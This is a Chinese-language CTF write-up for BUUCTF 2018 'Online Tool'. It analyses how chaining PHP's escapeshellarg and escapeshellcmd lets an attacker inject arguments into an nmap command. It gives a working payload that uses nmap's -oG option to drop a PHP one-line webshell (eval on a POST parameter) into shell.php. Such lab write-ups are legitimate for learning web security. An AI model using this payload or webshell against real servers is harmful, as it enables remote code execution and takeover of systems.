BUUFTC-日刷-[[BUUCTF 2018]Online Tool-escapeshell arg/cmd
<?php if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) { $_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR']; } if(!isset($_GET['host'])) { highlight_file(__FILE__); } else { $host = $_GET['host']; $host = escapeshellarg($host); $host = escapeshellcmd($host); $sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']); echo 'you are in sandbox '.$sandbox; @mkdir($sandbox); chdir($sandbox); echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host); }
分析代码,发现应该是shell指令拼凑。但是有两个函数进行过滤我们简单分析一下:
escapeshellarg
这个函数确保你传入的是参数,比如
ls $a ;
我们想不仅输出根目录下文件,还将文件的权限、所有者、文件大小等信息详细列出来。这里我们可以用ls -l来实现
如果$a=/ -l, 那么就会执行 ls -l /; 满足我们的要求
而escapeshellarg会把输入的内容加上单引号,如果本来有单引号就会转义
ls escapeshellarg($a) ;
那么用这个函数会变成:ls '-l /' ,把输入的值始终当作一个参数处理。这样就不满足要求(实际上会直接报错)
注意它只是加上单引号,如果输入有单引号会转义(双引号不处理),处理单引号的时候也要注意一下,它会将两侧都加上单引号
例如 a=1’1, 处理后就是 ‘1’/''1' ,中间’变成\', 而两边的1各加上单引号包裹 ,最后组合在一起
(linux中cat flag 和 cat 'fl''ag' 效果一样 但要连续)
escapeshellcmd
这个函数就是简单的过滤敏感字符,类似&#;`|*?~<>^()[]{}$\之类,但是对于单双引号 仅在不配对的时候被转义
ok,了解后我们可以发现这两个函数在一起使用的情况下可能会出问题
对于上面例子
ls $a
我们让a=-l ' /
第一步处理会变成:ls '-l '\'' /'
第二步处理会变成:ls '-l '\\'' /\'
简化一下:ls -l \ /' (\后面要2个空格)
这样我们就成功给指令加上了新的参数类型
简化通解,对 ' TEST'进行分析
'TEST'
'' \' ' TEST' \' ''
'' \\ '' TEST '\\'''
\ TEST
但是这种方法缺陷就是只能加参数,因为只能绕过单引号,其他; | &啥的还是会被转义
回到这题
echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
看看nmap有什么可利用的参数,找到-oG参数,可以将命令与结果写入到文件内
我们在命令里加入一句话木马即可,结果不重要,写入php即可(写入的木马不用担心转义问题,毕竟不用在shell直接执行,只要能写入即可)
payload=' <?php eval($_POST["cmd"]);?> -oG shell.php '
按照前面test分析 执行即为
nmap -T5 -sT -Pn --host-timeout 2 -F / <?php eval($_POST["cmd"]);?> -oG shell.php
注意空格多加不会错,少加可能会导致参数和单引号连在一起,当作一个参数处理
最后访问沙盒地址里的shell.php即可